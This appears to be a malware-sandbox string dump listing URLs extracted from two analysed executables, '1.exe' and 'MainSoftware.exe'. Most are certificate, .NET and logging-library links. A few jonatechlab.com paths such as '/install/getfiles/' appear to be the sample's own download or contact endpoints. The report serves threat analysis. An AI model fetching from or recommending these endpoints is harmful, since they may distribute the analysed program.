0000000B.00000002.2229533139.0000000006B15000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.1515074607.00000000050CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: 1.exe, 00000004.00000003.1588667153.000000000D14D000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1315095135.0000000009885000.00000004.00001000.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.1517145104.0000000008B39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/codesigningrootr45.crl0U
Source: 1.exe, 00000004.00000003.1317343303.000000000823B000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1588667153.000000000D14D000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1315095135.0000000009885000.00000004.00001000.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.2227216121.00000000050B4000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000002.2228613960.00000000050B4000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000002.2230434035.0000000008B35000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.1517145104.0000000008B39000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.2226638707.0000000008B32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gsgccr45evcodesignca2020.crl0
Source: 1.exe, 00000004.00000002.2261993160.000000000A2F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r6
Source: 1.exe, 00000004.00000002.2261284310.0000000008180000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1588667153.000000000D14D000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1315095135.0000000009885000.00000004.00001000.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.1517166138.0000000008B40000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.1515052828.00000000050E9000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.1517145104.0000000008B39000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000002.2229533139.0000000006B15000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.1515074607.00000000050CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: MainSoftware.exe, 00000015.00000003.2229773115.000002BDCBA62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.v
Source: 1.exe, 00000004.00000003.1588667153.000000000BB96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crls.ssl.com/SSL.com-timeStamping-I-RSA-R1.crl0
Source: 1.exe, 00000004.00000003.1588667153.000000000BB96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crls.ssl.com/SSLcom-RootCA-EV-RSA-4096-R2.crl0
Source: 1.exe, 00000004.00000003.1588667153.000000000BB96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crls.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.crl0
Source: 1.exe, 00000004.00000003.1588667153.000000000BB96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crls.ssl.com/ssl.com-rsa-RootCA.crl0
Source: 1.exe, 00000004.00000003.1588667153.000000000BB96000.00000004.00000020.00020000.00000000.sdmp, MainSoftware.exe, 00000010.00000000.2065212179.00007FF7D943D000.00000002.00000001.01000000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2167112591.00007FF7D943D000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: MainSoftware.exe, 00000010.00000002.2140289283.00000234A3045000.00000004.00001000.00020000.00000000.sdmp, MainSoftware.exe, 00000010.00000002.2140289283.00000234A3086000.00000004.00001000.00020000.00000000.sdmp, MainSoftware.exe, 00000010.00000002.2140289283.00000234A30B7000.00000004.00001000.00020000.00000000.sdmp, MainSoftware.exe, 00000010.00000002.2140289283.00000234A309A000.00000004.00001000.00020000.00000000.sdmp, MainSoftware.exe, 00000010.00000002.2140289283.00000234A3069000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://jonatechlab.com:443/
Source: 1.exe, 00000004.00000002.2261284310.0000000008180000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign
Source: 1.exe, 00000004.00000002.2261284310.0000000008180000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000002.2261783516.000000000820F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1596877787.000000000820F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1588667153.000000000D14D000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.2247148881.000000000820F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1315095135.0000000009885000.00000004.00001000.00020000.00000000.sdmp, 1.exe, 00000004.00000002.2261993160.000000000A2F0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.1517166138.0000000008B40000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.1515052828.00000000050E9000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.2227216121.00000000050CC000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.1517145104.0000000008B39000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000002.2228613960.00000000050CC000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000002.2229533139.0000000006B15000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.1515074607.00000000050CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: 1.exe, 00000004.00000003.1588667153.000000000D14D000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1315095135.0000000009885000.00000004.00001000.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.1517145104.0000000008B39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/codesigningrootr450F
Source: 1.exe, 00000004.00000003.1317343303.000000000823B000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1588667153.000000000D14D000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1315095135.0000000009885000.00000004.00001000.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.2227216121.00000000050B4000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000002.2228613960.00000000050B4000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000002.2230434035.0000000008B35000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.1517145104.0000000008B39000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.2226638707.0000000008B32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/gsgccr45evcodesignca20200U
Source: 1.exe, 00000004.00000002.2261993160.000000000A2F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globa
Source: 1.exe, 00000004.00000002.2261284310.0000000008180000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsig
Source: 1.exe, 00000004.00000002.2261284310.0000000008180000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1588667153.000000000D14D000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1315095135.0000000009885000.00000004.00001000.00020000.00000000.sdmp, 1.exe, 00000004.00000002.2261993160.000000000A2F0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.1517166138.0000000008B40000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.1515052828.00000000050E9000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000002.2230434035.0000000008B35000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.1517145104.0000000008B39000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.2226638707.0000000008B32000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000002.2229533139.0000000006B15000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.1515074607.00000000050CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: 1.exe, 00000004.00000003.1588667153.000000000BB96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsps.ssl.com0
Source: 1.exe, 00000004.00000003.1588667153.000000000BB96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsps.ssl.com0?
Source: 1.exe, 00000004.00000003.1588667153.000000000BB96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsps.ssl.com0P
Source: MainSoftware.exe, 00000010.00000002.2142815364.0000027538160000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/System.IO
Source: MainSoftware.exe, 00000010.00000002.2142815364.0000027538160000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/SystemV
Source: MainSoftware.exe, 00000010.00000002.2142815364.0000027538160000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/SystemY
Source: MainSoftware.exe, 00000010.00000002.2151555653.000002753B3F7000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2151813644.000002753B411000.00000020.00000001.00040000.0000000A.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/authentication
Source: MainSoftware.exe, 00000010.00000002.2151555653.000002753B3F7000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2151813644.000002753B411000.00000020.00000001.00040000.0000000A.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/authorizationdecisionzhttp://schemas.xmlsoap.o
Source: MainSoftware.exe, 00000010.00000002.2151555653.000002753B3F7000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2151813644.000002753B411000.00000020.00000001.00040000.0000000A.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dateofbirthrhttp://schemas.xmlsoap.org/ws/2005
Source: 1.exe, 00000004.00000003.1588667153.000000000C9EE000.00000004.00000020.00020000.00000000.sdmp, MainSoftware.exe, 00000010.00000002.2151399807.000002753B3D1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2151185629.000002753B3B1000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2151555653.000002753B3F7000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2151813644.000002753B411000.00000020.00000001.00040000.0000000A.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysid
Source: MainSoftware.exe, 00000010.00000002.2151555653.000002753B3F7000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2151813644.000002753B411000.00000020.00000001.00040000.0000000A.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddressxhttp://schemas.xmlsoap.org/ws/200
Source: MainSoftware.exe, 00000010.00000002.2151555653.000002753B3F7000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2151813644.000002753B411000.00000020.00000001.00040000.0000000A.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/locality
Source: MainSoftware.exe, 00000010.00000002.2151555653.000002753B3F7000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2151813644.000002753B411000.00000020.00000001.00040000.0000000A.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/mobilephone
Source: 1.exe, 00000004.00000003.1588667153.000000000C9EE000.00000004.00000020.00020000.00000000.sdmp, MainSoftware.exe, 00000010.00000002.2151399807.000002753B3D1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2151185629.000002753B3B1000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: MainSoftware.exe, 00000010.00000002.2151555653.000002753B3F7000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2151813644.000002753B411000.00000020.00000001.00040000.0000000A.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier
Source: MainSoftware.exe, 00000010.00000002.2151555653.000002753B3F7000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2151813644.000002753B411000.00000020.00000001.00040000.0000000A.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/otherphone
Source: MainSoftware.exe, 00000010.00000002.2151555653.000002753B3F7000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2151813644.000002753B411000.00000020.00000001.00040000.0000000A.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/postalcoderhttp://schemas.xmlsoap.org/ws/2005/
Source: MainSoftware.exe, 00000010.00000002.2151555653.000002753B3F7000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2151813644.000002753B411000.00000020.00000001.00040000.0000000A.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/stateorprovince
Source: MainSoftware.exe, 00000010.00000002.2151555653.000002753B3F7000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2151813644.000002753B411000.00000020.00000001.00040000.0000000A.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/streetaddresszhttp://schemas.xmlsoap.org/ws/20
Source: MainSoftware.exe, 00000010.00000002.2151555653.000002753B3F7000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2151813644.000002753B411000.00000020.00000001.00040000.0000000A.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/thumbprintrhttp://schemas.xmlsoap.org/ws/2005/
Source: MainSoftware.exe, 00000010.00000002.2151555653.000002753B3F7000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2151813644.000002753B411000.00000020.00000001.00040000.0000000A.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/x500distinguishednamevhttp://schemas.xmlsoap.o
Source: 1.exe, 00000004.00000003.1588667153.000000000D14D000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1315095135.0000000009885000.00000004.00001000.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.1517145104.0000000008B39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/codesigningrootr45.crt0A
Source: 1.exe, 00000004.00000003.1317343303.000000000823B000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1588667153.000000000D14D000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1315095135.0000000009885000.00000004.00001000.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.2227216121.00000000050B4000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000002.2228613960.00000000050B4000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000002.2230434035.0000000008B35000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.1517145104.0000000008B39000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.2226638707.0000000008B32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gsgccr45evcodesignca2020.crt0?
Source: 1.exe, 00000004.00000002.2261284310.0000000008180000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000002.2261783516.000000000820F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1596877787.000000000820F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1588667153.000000000D14D000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.2247148881.000000000820F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1315095135.0000000009885000.00000004.00001000.00020000.00000000.sdmp, 1.exe, 00000004.00000002.2261993160.000000000A2F0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.1517166138.0000000008B40000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.1515052828.00000000050E9000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.2227216121.00000000050CC000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.1517145104.0000000008B39000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000002.2228613960.00000000050CC000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000002.2229533139.0000000006B15000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.1515074607.00000000050CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: 1.exe, 00000004.00000002.2261284310.0000000008180000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha3lx
Source: 1.exe, 00000004.00000003.1588667153.000000000BB96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.ssl.com/repository/SSLcom-RootCA-EV-RSA-4096-R2.crt0
Source: 1.exe, 00000004.00000003.1588667153.000000000BB96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.ssl.com/repository/SSLcomRootCertificationAuthorityRSA.crt0
Source: 1.exe, 00000004.00000003.1315095135.0000000009885000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.winimage.com/zLibDll
Source: 1.exe, 00000004.00000003.1588667153.000000000C708000.00000004.00000020.00020000.00000000.sdmp, MainSoftware.exe, 00000010.00000002.2140691802.00000275352BE000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2141123759.0000027535751000.00000020.00000001.00040000.0000000A.sdmp	String found in binary or memory: https://aka.ms/GlobalizationInvariantMode
Source: 1.exe, 00000004.00000003.1588667153.000000000C708000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1588667153.000000000C576000.00000004.00000020.00020000.00000000.sdmp, MainSoftware.exe, 00000010.00000002.2141123759.00000275358B3000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2140691802.00000275352BE000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2141123759.0000027535751000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000015.00000002.2235519858.000002BDCB233000.00000020.00000001.00040000.0000000A.sdmp	String found in binary or memory: https://aka.ms/binaryformatter
Source: MainSoftware.exe, 00000010.00000002.2167112591.00007FF7D943D000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://aka.ms/dotnet-core-applaunch?
Source: 1.exe, 00000004.00000003.1588667153.000000000C708000.00000004.00000020.00020000.00000000.sdmp, MainSoftware.exe, 00000010.00000002.2141123759.00000275358B3000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2140691802.00000275352BE000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2141123759.0000027535751000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000015.00000002.2235519858.000002BDCB233000.00000020.00000001.00040000.0000000A.sdmp	String found in binary or memory: https://aka.ms/dotnet-illink/com
Source: 1.exe, 00000004.00000003.1588667153.000000000C708000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/dotnet-illink/com)
Source: 1.exe, 00000004.00000003.1588667153.000000000C708000.00000004.00000020.00020000.00000000.sdmp, MainSoftware.exe, 00000010.00000002.2141123759.00000275358B3000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2140691802.00000275352BE000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2141123759.0000027535751000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000015.00000002.2235519858.000002BDCB233000.00000020.00000001.00040000.0000000A.sdmp	String found in binary or memory: https://aka.ms/dotnet-illink/nativehost
Source: MainSoftware.exe, 00000010.00000002.2141123759.00000275358B3000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000015.00000002.2235519858.000002BDCB233000.00000020.00000001.00040000.0000000A.sdmp	String found in binary or memory: https://aka.ms/dotnet-illink/nativehostt
Source: MainSoftware.exe, 00000015.00000002.2235519858.000002BDCB233000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000015.00000002.2261226768.000002BDD0B11000.00000020.00000001.00040000.0000000A.sdmp	String found in binary or memory: https://aka.ms/dotnet-warnings/
Source: 1.exe, 00000004.00000003.1588667153.000000000BB96000.00000004.00000020.00020000.00000000.sdmp, MainSoftware.exe, 00000010.00000000.2065212179.00007FF7D943D000.00000002.00000001.01000000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2167112591.00007FF7D943D000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://aka.ms/dotnet/app-launch-failed
Source: 1.exe, 00000004.00000003.1588667153.000000000BB96000.00000004.00000020.00020000.00000000.sdmp, MainSoftware.exe, 00000010.00000000.2065212179.00007FF7D943D000.00000002.00000001.01000000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2167112591.00007FF7D943D000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://aka.ms/dotnet/download
Source: 1.exe, 00000004.00000003.1588667153.000000000BB96000.00000004.00000020.00020000.00000000.sdmp, MainSoftware.exe, 00000010.00000000.2065212179.00007FF7D943D000.00000002.00000001.01000000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2167112591.00007FF7D943D000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://aka.ms/dotnet/download%s%sInstall
Source: 1.exe, 00000004.00000003.1588667153.000000000BB96000.00000004.00000020.00020000.00000000.sdmp, MainSoftware.exe, 00000010.00000000.2065212179.00007FF7D943D000.00000002.00000001.01000000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2167112591.00007FF7D943D000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://aka.ms/dotnet/info
Source: 1.exe, 00000004.00000003.1588667153.000000000BB96000.00000004.00000020.00020000.00000000.sdmp, MainSoftware.exe, 00000010.00000000.2065212179.00007FF7D943D000.00000002.00000001.01000000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2167112591.00007FF7D943D000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://aka.ms/dotnet/sdk-not-foundProbing
Source: MainSoftware.exe, 00000010.00000002.2141123759.0000027535751000.00000020.00000001.00040000.0000000A.sdmp	String found in binary or memory: https://aka.ms/nativeaot-compatibility
Source: 1.exe, 00000004.00000003.1588667153.000000000C539000.00000004.00000020.00020000.00000000.sdmp, MainSoftware.exe, 00000010.00000002.2141601509.0000027536021000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2141547348.0000027536009000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2139740826.000002349ED50000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: https://github.com/FantasticFiasco/serilog-sinks-http.git
Source: 1.exe, 00000004.00000003.1588667153.000000000C684000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/dot
Source: 1.exe, 00000004.00000003.1588667153.000000000C708000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1588667153.000000000C703000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1588667153.000000000C55A000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1588667153.000000000C5EA000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1588667153.000000000C6B4000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1588667153.000000000CA07000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1588667153.000000000C976000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1588667153.000000000C9A5000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1588667153.000000000C9FD000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1588667153.000000000C5B9000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1588667153.000000000C5C5000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1588667153.000000000C5DB000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1588667153.000000000C66E000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1588667153.000000000C993000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1588667153.000000000C5D2000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1588667153.000000000C9EE000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1588667153.000000000C570000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1588667153.000000000C699000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1588667153.000000000C57D000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1588667153.000000000C961000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1588667153.000000000C9AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/dotnet/runtime
Source: MainSoftware.exe, 00000010.00000002.2140691802.00000275352BE000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2141123759.0000027535751000.00000020.00000001.00040000.0000000A.sdmp	String found in binary or memory: https://github.com/dotnet/runtime/blob/bbc898f3e5678135b242faeb6eefd8b24bf04f3c/src/native/corehost/
Source: MainSoftware.exe, 00000010.00000002.2140691802.00000275352BE000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2141123759.0000027535751000.00000020.00000001.00040000.0000000A.sdmp	String found in binary or memory: https://github.com/dotnet/runtime/issues/71847
Source: MainSoftware.exe, 00000010.00000002.2142756269.0000027538147000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: https://github.com/dotnet/runtimeE
Source: MainSoftware.exe, 00000010.00000002.2143697931.00000275384F5000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: https://github.com/dotnet/runtimeGk
Source: MainSoftware.exe, 00000010.00000002.2143697931.00000275384F9000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: https://github.com/dotnet/runtimet
Source: MainSoftware.exe, 00000010.00000002.2140691802.00000275352BE000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2141123759.0000027535751000.00000020.00000001.00040000.0000000A.sdmp	String found in binary or memory: https://github.com/mono/linker/issues/378
Source: MainSoftware.exe, 00000010.00000002.2140691802.00000275352BE000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2141123759.0000027535751000.00000020.00000001.00040000.0000000A.sdmp	String found in binary or memory: https://github.com/mono/linker/pull/649
Source: 1.exe, 00000004.00000003.1588667153.000000000C523000.00000004.00000020.00020000.00000000.sdmp, MainSoftware.exe, 00000010.00000002.2140213322.00000234A0741000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2141475912.0000027535FE0000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2140154271.00000234A070D000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: https://github.com/serilog/serilog
Source: 1.exe, 00000004.00000003.1588667153.000000000C534000.00000004.00000020.00020000.00000000.sdmp, MainSoftware.exe, 00000010.00000002.2141475912.0000027535FE8000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2141529603.0000027535FF1000.00000020.00000001.00040000.0000000A.sdmp	String found in binary or memory: https://github.com/serilog/serilog-formatting-compact
Source: MainSoftware.exe, 00000010.00000002.2141547348.0000027536000000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: https://github.com/serilog/serilog-sinks-file
Source: MainSoftware.exe, 00000010.00000002.2141547348.0000027536000000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: https://github.com/serilog/serilog-sinks-fileC
Source: MainSoftware.exe, 00000010.00000002.2139786896.000002349ED61000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2139740826.000002349ED57000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: https://jonatechlab.com%/install/getfiles/
Source: MainSoftware.exe, 00000010.00000002.2141451491.0000027535BE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://jonatechlab.com/install/new
